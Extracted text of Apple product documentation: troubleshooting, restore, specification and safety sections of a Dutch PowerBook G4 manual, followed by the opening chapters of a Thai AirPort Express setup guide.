m Schakel in Mac OS 9 de System-extensies uit door de computer opnieuw op te starten
terwijl u de Shift-toets ingedrukt houdt.
In Mac OS X worden geen System-extensies gebruikt. Om de extensies in 'Classic' uit te
schakelen, gaat u als volgt te werk:
m Kies in Mac OS X 'Schakel extensies uit' uit het venstermenu op het tabblad 'Geavanceerd'
in het paneel 'Classic' van het programma 'Systeemvoorkeuren'. Klik op 'Herstart 'Classic''.
m Als dit niet werkt, plaatst u de cd met de Mac OS 9- of Mac OS X-systeemprogrammatuur
in de speler en start u de computer opnieuw op terwijl u de C-toets ingedrukt houdt.
(Controleer of de Caps Lock-toets niet is ingeschakeld.)Problemen oplossen 95
Nadat de computer is opgestart, kiest u 'Mac Help' uit het Help-menu. Raadpleeg het
gedeelte over het voorkomen en oplossen van problemen. Mogelijk doen zich
extensieconflicten voor of dient u de systeemprogrammatuur opnieuw te installeren.
Als u de PowerBook alleen met behulp van de cd kunt opstarten, dient u de
systeemprogrammatuur opnieuw te installeren. Raadpleeg 'Mac Help' voor installatieinstructies of open het installatie- of herstelprogramma en volg de instructies op het scherm.
De computer gaat niet aan of start niet op.
m Controleer of de lichtnetadapter zowel op de computer als op een werkend stopcontact is
aangesloten.
m Mogelijk dient de batterij te worden opgeladen. Druk op het knopje aan de zijkant van de
batterij (raadpleeg pagina 58). U ziet nu een tot vier lampjes die de batterijlading
aangeven.
m Als ook dit niet lukt, probeert u het met de reset-knop op het achterpaneel van de
computer (raadpleeg pagina 22). Druk de reset-knop voorzichtig in met de punt van een
pen. Controleer of de knop weer in de oorspronkelijke positie terugkeert nadat u erop
hebt gedrukt.
Opmerking: Als u op de reset-knop hebt gedrukt, is het mogelijk dat u de datum en de
tijd opnieuw moet instellen (met het regelpaneel 'Datum en tijd' (Mac OS 9) of met het
paneel 'Datum en tijd' van het programma 'Systeemvoorkeuren' (Mac OS X)).
m Als dit niet lukt, drukt u op de Aan/uit-knop (®) en houdt u tegelijkertijd de Command-
(x), Option-, P- en R-toets ingedrukt totdat u het opstartsignaal een tweede keer hoort.
m Als u onlangs extra geheugen hebt geïnstalleerd, controleert u of dit onderdeel op de
juiste manier is geïnstalleerd en of het geschikt is voor de computer. Controleer of de
computer wel opstart nadat u het onderdeel hebt verwijderd.
m Als het nog steeds niet lukt om de computer op te starten, raadpleegt u de documentatie
bij de PowerBook voor informatie over service en ondersteuning door Apple.96 Hoofdstuk 6
De programmatuur herstellen
Met Apple Programmatuurinstallatie wordt de inhoud van de harde schijf of partitie volledig
gewist en wordt de oorspronkelijke inhoud hersteld, zoals de oorspronkelijke
systeemprogrammatuur, de fabrieksinstellingen en programma's waarmee de computer is
geleverd.
Als u de programmatuur dient te herstellen, gebruikt u de Apple programmatuurherstel-cd's
die bij de computer zijn geleverd. U dient, indien mogelijk, reservekopieën van belangrijke
programma's en bestanden te maken voordat u de programmatuur herstelt.
Opmerking: Als u de inhoud van de harde schijf niet wilt wissen, kunt u alleen de
systeemprogrammatuur of bepaalde programma's opnieuw installeren met behulp van de
programmatuurinstallatie-cd's of de programma-cd's die bij de computer zijn geleverd.
Raadpleeg de handleiding Welkom bij Mac OS X voor instructies voor de installatie van Mac
OS 9 en Mac OS X.
1 Controleer of u beschikt over alle Apple programmatuurherstel-cd's die bij de computer zijn
geleverd.
2 Plaats de eerste programmatuurherstel-cd in de speler.
3 Start de computer opnieuw op en houd de C-toets ingedrukt, zodat de computer vanaf de cd
wordt opgestart.
4 Volg de aanwijzingen op het scherm.
De configuratie-assistent verschijnt om u te helpen de computer in Mac OS 9 te
configureren. Als u de computer voor het eerst met Mac OS X opstart, verschijnt de
configuratie-assistent om u te helpen met de configuratie van de Mac OS X-instellingen. Problemen oplossen 97
Andere problemen
U hebt een probleem met een programma.
m Raadpleeg de fabrikant als het programmatuur betreft van een andere fabrikant dan
Apple. Vaak plaatsen fabrikanten updates van hun programmatuur op hun website. U
kunt instellen dat automatisch wordt gecontroleerd of er nieuwe versies van Apple
programma's beschikbaar zijn, waarna deze versies direct op de PowerBook worden
geïnstalleerd. U stelt dit in met het regelpaneel 'Programmatuurupdate' (Mac OS 9) of
met het paneel 'Programmatuurupdate' van het programma 'Systeemvoorkeuren'
(Mac OS X). Als u meer informatie wilt, kiest u 'Mac Help' uit het Help-menu en zoekt u
op 'Programmatuurupdate'.
U kunt geen verbinding met het Internet tot stand brengen.
m Controleer of de telefoonlijn of netwerkkabel goed zijn aangesloten en geen
mankementen vertonen.
m Als u gebruikmaakt van een inbelverbinding, controleert u of de telefoonkabel juist is
aangesloten op de modempoort (aangeduid met het symbool W) en niet op de Ethernetpoort (aangeduid met het symbool G).
m Kies 'Mac Help' uit het Help-menu. Hierin wordt beschreven waar u de Internetinstellingen en gegevens over uw Internet-aanbieder kunt vinden (als u een Internetaccount hebt aangemaakt met behulp van de Internet-configuratie-assistent).
U hebt een probleem met het gebruik van de computer of het Mac OS.
m Raadpleeg 'Mac Help' als u het antwoord op uw vragen niet in deze handleiding vindt.
m Raadpleeg de Apple Support-website op www.apple.com/nl/support voor de laatste
informatie over het oplossen van problemen en het bijwerken van programmatuur.
U vermoedt dat er problemen zijn met de apparatuur van de computer.
m Met behulp van de Apple Hardware Test-cd kunt u vaststellen of er een probleem is met
een van de onderdelen van de computer, zoals het geheugen of de processor.
Het serienummer
U vindt het serienummer van de PowerBook aan de binnenzijde van de batterijnis. Raadpleeg
“De batterij verwijderen of vervangen” op pagina 59 voor meer informatie over het
verwijderen van de batterij.99
B I J L A G E
A
A Specificaties
Dit gedeelte bevat algemene productspecificaties. U vindt meer informatie via het
programma Apple Systeemprofiel op de harde schijf, en op het Internet op www.apple.com/
nl/powerbook en www.apple.com/nl/support.
Apple Systeemprofiel
In Apple Systeemprofiel vindt u gedetailleerde informatie over uw specifieke PowerBook,
zoals de hoeveelheid geheugen, de grootte van de harde schijf, de aangesloten apparatuur
en het serienummer.
U krijgt als volgt toegang tot de informatie in Apple Systeemprofiel:
m Kies in Mac OS 9 'Apple Systeemprofiel' uit het Apple-menu (K).
m Open in Mac OS X 'Apple System Profiler' in de map 'Utilities' in de map 'Applications'.
Klik op de driehoekjes
in het venster om de
informatie van de
verschillende
categorieën te tonen of
te verbergen.100 Bijlage A
Specificaties van de PowerBook
Processor, geheugen en harde schijf
m Processor: PowerPC G4-processor van minimaal 550 MHz
m Geheugen: minimaal 128 MB; maximaal 1 GB
m Harde schijf: minimaal 20 GB
Videogeheugen en videocontroller
m Videogeheugen: 16 MB DDR SDRAM
m Videocontroller: ATI Mobility Radeon
Modem
m Modemstandaards: K56flex en V.90
m Modemsnelheid: 56 Kbps (kilobit per seconde)
Opmerking: De werkelijke downloadsnelheden kunnen variëren, afhankelijk van de
verbinding en de modemcapaciteit van uw Internet-aanbieder. Conform de Amerikaanse
FCC-regels is de maximale overdrachtsnelheid 53 Kbps.
AirPort-kaart
m Draadloze gegevenssnelheid: tot 11 Mbps (megabit per seconde)
m Bereik: maximaal 45 meter bij normaal gebruik (afhankelijk van het type gebouw)
m Frequentieband: 2,4 GHZ
Lichtnetadapter
m Ingangsspanning: 100–240 V wisselstroom, 50/60 Hz
m Uitgangsspanning: 24 V gelijkstroom, 1,875 A
Batterij
m Uitgangsspanning: 14,4 V gelijkstroom
m Capaciteit: 3840 mAh (milliampère-uur)Specificaties 101
Extern beeldscherm in de modus voor een extra groot bureaublad of in de
modus 'Synchrone weergave'
Wanneer het beeldscherm is ingesteld op miljoenen kleuren in de resolutie 1152 x 768,
ondersteunt een extern VGA-beeldscherm de volgende resoluties:
m Miljoenen kleuren: 640 x 480, 640 x 870, 800 x 600, 832 x 624, 1024 x 768, 1152 x 870,
1280 x 960, 1280 x 1024 en 1600 x 1200
m Duizenden kleuren: 1280 x 960, 1280 x 1024, 1600 x 1200, 1792 x 1344, 1856 x 1392
en 1920 x 1440
Wanneer u in synchrone weergave een hogere resolutie kiest dan 1152 x 768, wordt het
beeld op het externe beeldscherm verkleind (het beeldscherm wordt niet volledig gevuld)
zodat het even groot is als de weergave in 1152 x 768 op het interne beeldscherm.
Extern beeldscherm bij een dichtgeklapt beeldscherm
Als het scherm van de PowerBook is dichtgeklapt, ondersteunt een extern VGA-beeldscherm
de volgende resoluties:
m Miljoenen kleuren: 640 x 480, 800 x 600, 1024 x 768, 1152 x 870, 1280 x 960, 1280 x 1024,
1600 x 1200, 1792 x 1344, 1856 x 1392 en 1920 x 1440
m Duizenden kleuren: 1792 x 1344, 1856 x 1392 en 1920 x 1440
Externe S-Video of Composite Video (NTSC)
Een extern NTSC-videoapparaat of -televisietoestel ondersteunt de volgende resoluties:
m Miljoenen kleuren: 640 x 480, 720 x 480 (alleen NTSC), 800 x 600, 832 x 624 en
1024 x 768 bij 60 Hz102 Bijlage A
Externe S-Video of Composite Video (PAL)
Een extern PAL-videoapparaat of -televisietoestel ondersteunt de volgende resoluties:
m Miljoenen kleuren: 640 x 480, 720 x 576, 800 x 600, 832 x 624 en 1024 x 768 bij 50 Hz
Opmerking: Het afspelen van dvd-films op een extern beeldscherm of televisietoestel
vermindert het beschikbare geheugen voor het beeldscherm. Bij bepaalde hogere
resoluties zijn mogelijk minder kleuren beschikbaar.
Afmetingen en gewicht
m Hoogte: 2,6 cm
m Breedte: 34,1 cm
m Diepte: 24,1 cm
m Gewicht: 2,4 kg
Opmerking: het gewicht kan variëren, afhankelijk van de configuratie van de computer en
het fabricageproces.
Omgeving
m Temperatuur bij gebruik: 10 tot 35˚C
m Temperatuur bij opslag: –25 tot 60˚C
m Hoogte: maximaal 3048 m
m Hoogte bij transport: maximaal 10.668 m
m Relatieve vochtigheid: 20% tot 80% (niet-condenserend)103
B I J L A G E
B
B Informatie over onderhoud, gebruik en
veiligheid
De PowerBook schoonmaken
Om de computer en andere systeemonderdelen aan de buitenkant schoon te maken, volgt u
de onderstaande richtlijnen:
m Gebruik een vochtige, zachte, pluisvrije doek. Zorg dat er geen vocht in de behuizing
terechtkomt.
m Gebruik geen spuitbussen, oplosmiddelen of schuurmiddelen.
Het beeldscherm schoonmaken
U maakt het beeldscherm van de PowerBook als volgt schoon:
m Zet de PowerBook uit.
m Maak een schone, zachte en pluisvrije doek of een stuk keukenpapier vochtig met water
en wrijf het scherm schoon. Spuit nooit vloeistof rechtstreeks op het scherm.
De PowerBook vervoeren
Als u de PowerBook in een tas of koffer vervoert, dient u erop te letten dat zich hierin geen
losse voorwerpen bevinden, zoals paperclips of munten, die via de dvd-sleuf in de computer
terecht kunnen komen.
De PowerBook opbergen
Als u de PowerBook voor langere tijd opbergt, voert u een van de volgende handelingen uit
om te voorkomen dat de batterij volledig leeg raakt:
m Houd de lichtnetadapter aangesloten.
m Laad de batterij volledig op voordat u de computer opbergt.104 Bijlage B
m Laad de batterij volledig op en verwijder deze vervolgens uit de PowerBook als u deze
opbergt. (Dit is vooral van belang als u de computer meer dan vijf maanden niet zult
gebruiken.)
Aanwijzingen voor de installatie en het gebruik van de
computer
De lichtnetadapter aansluiten
Zorg dat de luchtcirculatie rond de lichtnetadapter niet wordt belemmerd. Plaats de
apparatuur daarom tijdens het werken niet in een besloten ruimte. Verwijder de
lichtnetadapter en de batterij voordat u de computer opent om geheugen te installeren of de
harde schijf te verwijderen.
Een telefoonlijn op de interne modem aansluiten
Verwijder de telefoonkabel voordat u de computer opent om geheugen te installeren of de
harde schijf te verwijderen.
De PowerBook gebruiken
Wanneer u met de PowerBook werkt of de batterij oplaadt, wordt de onderzijde van de
behuizing warm. De onderzijde van de behuizing fungeert als een koelvlak waarlangs warmte
die in de computer is ontstaan, wordt afgevoerd naar buiten. Er is ruimte aan de onderkant
van de behuizing vrijgelaten, zodat er lucht kan circuleren en de normale werktemperatuur
van de computer kan worden gehandhaafd.
Attentie Gebruik alleen de adapter die bij de PowerBook is geleverd. Adapters voor
andere elektrische apparaten, zoals andere typen PowerBook-computers en andere
draagbare computers, zien er misschien hetzelfde uit, maar kunnen schade veroorzaken
aan de computer. De lichtnetadapter die bij de PowerBook is geleverd, is uitgerust met
een randgeaarde netstekker. Gebruik uit veiligheidsoverwegingen uitsluitend een geaard
stopcontact. Het gebruik van de randgeaarde stekker is van wezenlijk belang voor uw
veiligheid.
Attentie Sluit geen digitale telefoonlijn aan op de modem. Hierdoor kan de modem
beschadigd raken.
Attentie Plaats de PowerBook niet op een kussen of een ander zacht voorwerp als de
computer is ingeschakeld. Zacht materiaal kan de ventilatieopeningen blokkeren,
waardoor de computer oververhit kan raken. Informatie over onderhoud, gebruik en veiligheid 105
Belangrijke wenken voor uw veiligheid
Om uzelf en de apparatuur te beschermen, dient u de onderstaande voorzorgsmaatregelen
in acht te nemen.
Koppel het netsnoer los (houd de kabel hierbij altijd vast aan de stekker en niet aan het
snoer), verwijder de batterij uit de uitbreidingsnis en verwijder de telefoonkabel wanneer:
m u onderdelen wilt verwijderen (sluit de snoeren pas weer aan als u het toetsenbord weer
hebt bevestigd);
m het netsnoer gerafeld of anderszins is beschadigd;
m u iets in de behuizing hebt gemorst;
m de computer aan regen of andere zeer vochtige omstandigheden is blootgesteld;
m u de computer hebt laten vallen of de behuizing op een andere manier is beschadigd;
m u vermoedt dat uw computer onderhoud nodig heeft of gerepareerd dient te worden;
m u de behuizing schoon wilt maken (volg hierbij altijd de eerder beschreven methode).
Onthoud het volgende:
m Gebruik de computer niet in vochtige ruimten, zoals doucheruimtes.
m Gebruik de computer niet onder vochtige weersomstandigheden, zoals regen of sneeuw.
m Lees de installatie-instructies grondig door voordat u de computer op het lichtnet
aansluit.
m Zorg dat u deze informatie altijd binnen handbereik hebt.
m Volg alle instructies en waarschuwingen die betrekking hebben op de computer.
Attentie Zet de computer nooit aan voordat alle interne en externe onderdelen zich
weer op hun plaats bevinden en de computer is gesloten. Wanneer de computer is
geopend of wanneer er onderdelen ontbreken, kan dat gevaar opleveren voor de
gebruiker of schade aan de computer veroorzaken.
Belangrijk De enige manier om de stroomvoorziening volledig te onderbreken is door het
netsnoer, de telefoonkabel en de batterij te verwijderen. Zorg ervoor dat een van de
uiteinden van het netsnoer zich altijd binnen handbereik bevindt zodat u deze, indien nodig,
kunt loskoppelen.
Attentie Elektrische apparatuur kan gevaarlijk zijn bij onoordeelkundig gebruik. Zorg
dat kinderen nooit zonder toezicht van een volwassene met dit apparaat werken.
Voorkom dat kinderen toegang hebben tot het binnenwerk van elektrische apparaten en
laat hen nooit netsnoeren aansluiten.106 Bijlage B
Uw werkplek inrichten
Toetsenbord en stuurvlak
Houd uw schouders ontspannen wanneer u het toetsenbord en stuurvlak gebruikt. Zorg dat
uw boven- en onderarm een bijna rechte hoek vormen en dat uw hand en pols in een vrijwel
rechte lijn liggen.
Sla de toetsen op het toetsenbord licht aan en houd uw handen en vingers ontspannen
wanneer u het toetsenbord en het stuurvlak bedient. Vouw uw duimen niet onder uw
handpalmen.
Verander tijdens het werken regelmatig de positie van uw handen om vermoeidheid te
voorkomen. Als u intensief met een computer werkt en weinig pauzes inlast, kunt u na
verloop van tijd last krijgen van uw armen, polsen of handen. Raadpleeg een arts als u merkt
dat u last krijgt van chronische pijn in armen, polsen of handen.
Stoel
Ideaal is een verstelbare stoel die veel steun biedt. Stel de hoogte van uw stoel zo in dat uw
heupen horizontaal zijn en uw voeten plat op de vloer rusten. De rugleuning van de stoel
dient veel steun te bieden aan de onderrug. Volg de instructies van de fabrikant voor de
juiste afstelling van de rugleuning.
Attentie Duw geen voorwerpen door de openingen in de behuizing naar binnen. Dit
kan gevaar opleveren, brand veroorzaken of een gevaarlijke elektrische schok tot gevolg
hebben.
Zo Niet zo
Zo Niet zo Informatie over onderhoud, gebruik en veiligheid 107
Het is mogelijk dat u uw stoel in hoogte moet verstellen om uw onderarm en hand in de
juiste stand ten opzichte van het toetsenbord te brengen. Als het hierdoor niet meer
mogelijk is om uw voeten plat op de vloer te laten rusten, kunt u een voetenbankje
gebruiken. U kunt natuurlijk ook het werkblad verlagen, als dit mogelijk is. Een andere
mogelijkheid is het gebruik van een bureau met een apart, verstelbaar segment voor het
toetsenbord.
Muis
Als u een muis gebruikt, plaatst u deze op dezelfde hoogte als het toetsenbord. Zorg dat u
voldoende ruimte hebt om de muis te bedienen.
Intern beeldscherm
Stel de hoek van het beeldscherm zo in dat verlichting en ramen er zo min mogelijk in
worden weerspiegeld.
Het kan nodig zijn de helderheid en het contrast aan te passen wanneer u de computer in
een andere omgeving gebruikt of wanneer het licht in uw werkruimte verandert.
Meer informatie
Raadpleeg voor meer informatie de website op www.apple.com/about/ergonomics
(Engelstalig).Regelgeving inzake communicatie, telefoon en modem
Voor meer informatie over de FCC-regelgeving, informatie over storing op radio en televisie en informatie over
telefoon en modem met betrekking tot dit product raadpleegt u de bestanden in de map 'Info
communicatieregelgeving' in de map 'Documenten' op de harde schijf.
Laserinformatie
Demonteer nooit het kastje waarin de laser zich bevindt. De laserstraal die in dit product wordt gebruikt, is
schadelijk voor de ogen. Het gebruik van optische instrumenten, zoals vergrootglazen, verhoogt het risico voor
uw ogen. Laat in het belang van uw eigen veiligheid onderhoud en reparatie van uw apparatuur over aan een door
Apple erkende serviceaanbieder.
Uw computer is een Klasse 1-laserproduct. Dit wordt aangegeven door middel van het Klasse 1-etiket op een voor
de gebruiker toegankelijke plaats. Er bevindt zich een waarschuwingsetiket op een voor serviceaanbieder
toegankelijke plaats. Het kan zijn dat de etiketten er in werkelijkheid iets anders uitzien dan in de onderstaande
afbeeldingen.
Technische specificaties van de laser
Laser op opnameapparaat (bij het lezen van een cd)
m Soort: halfgeleider GaAlAs-laser
m Golflengte: 790 nm
m Vermogen uit objectieflens: 3,3 mW
m Straaldivergentie: horizontaal 12°, verticaal 35°
Laser (bij lezen dvd-schijf )
m Soort: halfgeleiderlaser, GaAs
m Golflengte: 658 nm
m Vermogen uit objectieflens: 6 mW
m Straaldivergentie: horizontaal 8,5°, verticaal 27°
Activiteiten met een verhoogd risico
Deze computer is niet bedoeld voor gebruik bij de bediening van nucleaire installaties, navigatie- of
communicatiesystemen voor de luchtvaart of apparatuur voor luchtverkeersleiding, of in andere situaties waarin
problemen met het gebruik van de Apple programmatuur kunnen leiden tot de dood, persoonlijk letsel of
ernstige schade aan zaken of het milieu.
ENERGY STAR®
Als ENERGY STAR®-partner heeft Apple vastgesteld dat de standaarduitvoeringen van dit product die
gebruikmaken van het besturingssysteem Mac OS 9 voldoen aan de ENERGY STAR®-richtlijnen voor
energiezuinige apparaten. Het ENERGY STAR®-programma is een samenwerkingsverband tussen overheid en
fabrikanten van kantoorapparatuur, dat is gericht op energiebesparing. Energiebesparende kantoorproducten zijn
zuiniger en zorgen voor minder milieuvervuiling als gevolg van minder verspilde energie.
ATTENTIE Wanneer u aanpassingen aanbrengt of procedures uitvoert die niet worden beschreven in de
handleiding bij het apparaat, kan er gevaarlijke straling vrijkomen.
Klasse 1-etiket Waarschuwingsetiket
AirPort Express
คู่มือการติดตั้งสารบัญ
5 เริ่มต้นใช้งาน
7 พอร์ตบน AirPort Express ของคุณ
9 ไฟสถานะ AirPort Express
10 การใช้AirPort Express
10 เครือข่าย AirPort Express
12 การติดตั้ง AirPort Express
12 ความต้องการของระบบ
14 การติดตั้ง AirPort Express
14 การตั้งค่าตัวเลือกขั้นสูง
16 การใช้AirPort Express เพื่อกระจายเพลง
18 เทคนิคและวิธีแก้ไข
18 สถานที่ที่ดีที่สุดสำาหรับ AirPort Express4
19 การหลีกเลี่ยงการรบกวน
19 ปัญหาและวิธีแก้ปัญหา
25 การเรียนรู้เพิ่มเติม บริการ และการสนับสนุน
25 ความช่วยเหลือบนหน้าจอในเครื่องคอมพิวเตอร์ของคุณ
25 แหล่งข้อมูลออนไลน์
26 การบริการสำาหรับการรับประกันที่ได้รับ
26 การค้นหาหมายเลขประจำาเครื่องของ AirPort Express
27 ข้อมูลจำาเพาะและข้อมูลความปลอดภัย
28 เทคนิคความปลอดภัยของ AirPort Express
30 Regulatory Compliance Information1
5
เริ่มต้นใช้งาน
AirPort Express ได้จัดเตรียมการทำางานที่อยู่ได้บนสองย่านความถี่พร้อมๆ
กันของเครือข่ายไร้สาย มาตรฐาน 802.11n สำาหรับทุกๆ อุปกรณ์ไร้สายของ
คุณ รวมถึงเครื่อง Mac และ Windows และอุปกรณ์iOS เช่น iPad, iPhone,
iPod touch และ Apple TV
เมื่อคุณติดตั้งสถานีฐาน AirPort Express ของคุณแล้ว เครื่องจะสร้างเครือ
ข่าย Wi-Fi ความเร็วสูงทั้งสองแบบขึ้น:
 เครือข่าย 2.4 กิกะเฮิรตซ์(GHz) สำาหรับอุปกรณ์แบบ 802.11b, 802.11g
และ 802.11n เช่น iPhone, iPod touch และคอมพิวเตอร์รุ่นเก่า
 เครือข่าย 5 GHz สำาหรับอุปกรณ์แบบ 802.11n และ 802.11a
ไม่ว่าเครือข่ายไหนก็ตามที่อุปกรณ์ไร้สายของคุณเข้าเชื่อมจะใช้งานได้เต็ม
ประสิทธิภาพและเหมาะสมที่สุด
คุณสามารถใช้AirPort Express เพื่อแบ่งปันการเชื่อมต่ออินเทอร์เน็ตของคุณ
กับอุปกรณ์ไร้สายบนเครือข่าย แบ่งปันเครื่องพิมพ์แบบเครือข่าย และเชื่อมต่อ
ไปยังอุปกรณ์อื่นๆ
AirPort Express ยังมาพร้อมกับ AirPlay ที่ง่ายในการเล่นเพลงใน iTunes
ผ่านสเตอริโอหรือลำาโพงระยะไกลในบ้านของคุณได้6 บท 1 เริ่มต้นใช้งาน
ปุ่มรีเซ็ต
WAN อีเธอร์เน็ต USB
สัญญาณเสียงออก
ออปติคอลแบบอะนาล็อค
กระแสไฟ
สายไฟ (สายไฟของคุณอาจดูแตกต่าง)
ไฟแสดงสถานะ
ไฟแสดงสถานะ
การเชื่อมต่อบท 1 เริ่มต้นใช้งาน 7
พอร์ตบน AirPort Express ของคุณ
AirPort Express ประกอบด้วยห้าพอร์ตที่ด้านหลัง:
< พอร์ตเครือข่าย Ethernet แบบกว้าง (WAN) มาตรฐาน 10/100Base-T
สำาหรับการเชื่อมต่อ DSL หรือเคเบิลโมเด็ม หรือการเชื่อมต่อเครือข่าย
Ethernet ที่มีอยู่แล้ว
G พอร์ตเครือข่าย Ethernet แบบเฉพาะที่ (LAN) มาตรฐาน 10/100Base-T
สำาหรับการเชื่อมต่ออุปกรณ์Ethernet เช่น เครื่องพิมพ์หรือคอมพิวเตอร์
หรือการเชื่อมต่อเครือข่าย Ethernet ที่มีอยู่แล้ว
d พอร์ต USB
สำาหรับการเชื่อมต่อเครื่องพิมพ์แบบ USB
- มินิแจ็คเสียงสเตอริโอออปติคอลแบบอะนาล็อคและดิจิตอล
สำาหรับการเชื่อมต่อ AirPort Express ไปยังสเตอริโอหรือลำาโพง
พอร์ตกระแสไฟ
สำาหรับการเชื่อมต่อ AirPort Express เข้ากับแหล่งจ่ายไฟเอซี
ถัดจากพอร์ตเหล่านี้จะเป็นปุ่มรีเซ็ทสำาหรับการแก้ไขปัญหา AirPort Express
ของคุณ ไฟสถานะที่ด้านหน้าของ AirPort Express จะแสดงสถานะปัจจุบัน8 บท 1 เริ่มต้นใช้งาน
ก่อนคุณเสียบปลัก๊ AirPort Express ของคุณ อันดับแรกนั้นให้เชื่อมต่อเคเบิล
ไปยังพอร์ตที่ต้องการใช้งานอย่างเหมาะสม รวมถึง:
 การเชื่อมต่อเคเบิล Ethernet ของ DSL หรือเคเบิลโมเด็มไปยังพอร์ต WAN
(ถ้าคุณจะเชื่อมต่ออินเตอร์เน็ต)
 การเชื่อมต่อเคเบิลเสียงของสเตอริโอไปยังพอร์ตส่งออกเสียง (ถ้าคุณจะใช้
AirPlay เพื่อเล่นเพลงจากคลัง iTunes ของคุณ)
 การเชื่อมต่อเคเบิลเครื่องพิมพ์แบบ USB หรือ Ethernet ไปยังพอร์ต USB
หรือ Ethernet (ถ้าคุณจะพิมพ์งานไปยังเครื่องพิมพ์โดยใช้AirPort Express)
หลังจากคุณเชื่อมต่อเคเบิลสำาหรับทุกๆ อุปกรณ์ที่คุณจะใช้งานแล้ว ให้เสียบ
ปลักไฟ ๊ AirPort Express ลงในพอร์ตกระแสไฟและแหล่งจ่ายไฟภายนอก ซึ่ง
เครื่องจะไม่มีสวิตช์เปิดหรือปิด
เมื่อคุณเสียบปลักไฟ ๊ AirPort Express ไปยังแหล่งจ่ายไฟภายนอก ไฟสถานะ
จะเรืองแสงเป็นสีเหลืองอำาพันระหว่างเริ่มต้น และจากนั้นจะกระพริบระหว่างการ
ติดตั้ง ไฟสถานะจะเป็นสีเขียวหลังจาก AirPort Express ของคุณได้ติดตั้งและ
เชื่อมต่อไปยังอินเทอร์เน็ตหรือเครือข่ายแล้วบท 1 เริ่มต้นใช้งาน 9
ไฟสถานะ AirPort Express
ตารางต่อไปนี้จะอธิบายถึงไฟสถานะ AirPort Express ตามลำาดับและ
ความหมายของแสงไฟ
แสง สถานะ/คำาอธิบาย
ปิด AirPort Express ถูกถอดปลักอยู่ ๊
สีเขียวทึบ AirPort Express ถูกเปิดและทำางานอย่างเหมาะสม
สีเหลืองอำาพันแบบ
กระพริบ
AirPort Express ยังไม่ได้ติดตั้งหรือไม่สามารถสร้างการ
เชื่อมต่อไปยังเครือข่ายหรืออินเทอร์เน็ตได้ใช้ยูทิลิตี้AirPort
เพื่อค้นหากรณีอื่นๆ นอกจากนี้โปรดดู“ถ้าไฟสถานะ AirPort
Express กระพริบสีเหลืองอำาพัน” ในหน้า 23
สีเหลืองอำาพันทึบ AirPort Express กำาลังเริ่มต้นใช้งาน
กระพริบสีเหลืองอำาพัน
และเขียว
เครื่องอาจประสบปัญหาในการเริ่มต้นใช้งาน AirPort
Express จะเริ่มต้นใช้งานและพยายามดำาเนินการใหม่อีกครั้ง10 บท 1 เริ่มต้นใช้งาน
การใช้AirPort Express
สำาหรับ AirPort Express คุณสามารถ:
 สร้างรหัสผ่านเพื่อป้องกันเครือข่ายไร้สายของบ้านคุณ และจากนั้นเชื่อมต่อ
อินเทอร์เน็ตและแบ่งปันการเชื่อมต่ออินเทอร์เน็ตกับคอมพิวเตอร์และอุปกรณ์
ไร้สายอื่นๆ เช่น iPad, iPhone และ Apple TV ได้
 สร้างเครือข่ายอิสระที่มีหรือไม่มีการป้องกันด้วยรหัสผ่าน เพื่อให้เพื่อนหรือ
ผู้มาเยี่ยมเยียนคุณได้เข้าถึงอินเทอร์เน็ตได้อย่างไร้สาย อุปกรณ์ที่เชื่อมต่อไป
ยังเครือข่ายอิสระเท่านั้นที่สามารถเข้าถึงอินเทอร์เน็ต
 เชื่อมต่อ AirPort Express ของคุณไปยังเครือข่าย Ethernet คอมพิวเตอร์
Mac และ Windows ที่มีอุปกรณ์ไร้สายและอุปกรณ์ไร้สายอื่นๆ จะสามารถ
เข้าถึงเครือข่ายโดยไม่ต้องใช้งานสายเคเบิลได้
 เชื่อมต่ออุปกรณ์USB หรือ Ethernet เช่น เครื่องพิมพ์ไปยัง AirPort
Express ของคุณ คอมพิวเตอร์ทั้งหมดที่อยู่บนเครือข่าย AirPort จะสามารถ
เข้าถึงอุปกรณ์ได้
 เชื่อมต่อสเตอริโอหรือลำาโพงของคุณไปยัง AirPort Express และจากนั้นใช้
AirPlay เพื่อเล่นคลัง iTunes ของคุณจากคอมพิวเตอร์หรืออุปกรณ์iOS
เครือข่าย AirPort Express
แผนภาพต่อไปนี้จะแสดงถึง AirPort Express ที่เชื่อมต่อไปยังอินเทอร์เน็ต
โดยโมเด็มและการสร้างเครือข่ายไร้สายความถี่ 2.4 และ 5 GHz AirPort
Express ที่เชื่อมต่อไปยังลำาโพง ซึ่งคอมพิวเตอร์หรืออุปกรณ์iOS อื่นๆ บน
เครือข่ายสามารถเล่นเพลงผ่านลำาโพงนี้ได้โดยใช้AirPlay เครื่องยังถูกเชื่อมบท 1 เริ่มต้นใช้งาน 11
ต่อไปยังเครื่องพิมพ์แบบเครือข่ายโดยใช้Ethernet ดังนั้นคอมพิวเตอร์ทั้งหมด
บนเครือข่ายจะสามารถพิมพ์งานไปยังเครื่องพิมพ์นั้นได้
คอมพิวเตอร์
หรือ iPad
iPhone หรือ iPod touch
ไปยังอินเทอร์เน็ต
เครื่องพิมพ์เครือข่าย
เคเบิล/DSL
โมเด็ม
2.4 หรือ 5 GHz
AirPort
Express
2.4 GHz
ลำโพงแบบมีภาคขยายเสียงในตัว
ไปยังพอร์ต LAN
แบบอีเธอร์เน็ต
ไปยังพอร์ต WAN
แบบอีเธอร์เน็ต
ไปยังพอร์ตสัญญาณเสียงออก
โปรดดูบทถัดไป “การติดตั้ง AirPort Express” เพื่อค้นหาวิธีใช้ซอฟต์แวร์
AirPort บนคอมพิวเตอร์หรืออุปกรณ์iOS ของคุณเพื่อติดตั้ง AirPort
Express และเครือข่ายไร้สาย2
12
การติดตั้ง AirPort Express
ใช้ยูทิลิตี้AirPort บนคอมพิวเตอร์หรือการตั้งค่า Wi-Fi บนอุปกรณ์iOS ของ
คุณเพื่อปฏิบัติอย่างใดอย่างหนึ่งต่อไปนี้:
 การติดตั้ง AirPort Express ของคุณเพื่อสร้างเครือข่ายใหม่ที่คอมพิวเตอร์
และอุปกรณ์สามารถใช้การเชื่อมต่ออินเทอร์เน็ตได้อย่างไร้สาย
 การติดตั้ง AirPort Express ของคุณเพื่อเข้าเชื่อมเครือข่ายที่มีอยู่ ถ้า
เครือข่ายถูกเชื่อมต่ออินเทอร์เน็ต คอมพิวเตอร์และอุปกรณ์ไร้สายทั้งหมดบน
เครือข่าย AirPort จะสามารถใช้การเชื่อมต่ออินเทอร์เน็ตได้ถ้าเครือข่ายได้
ถูกติดตั้งเพื่อขยายออกไป AirPort Express จะสามารถขยายช่วงของ
เครือข่ายได้
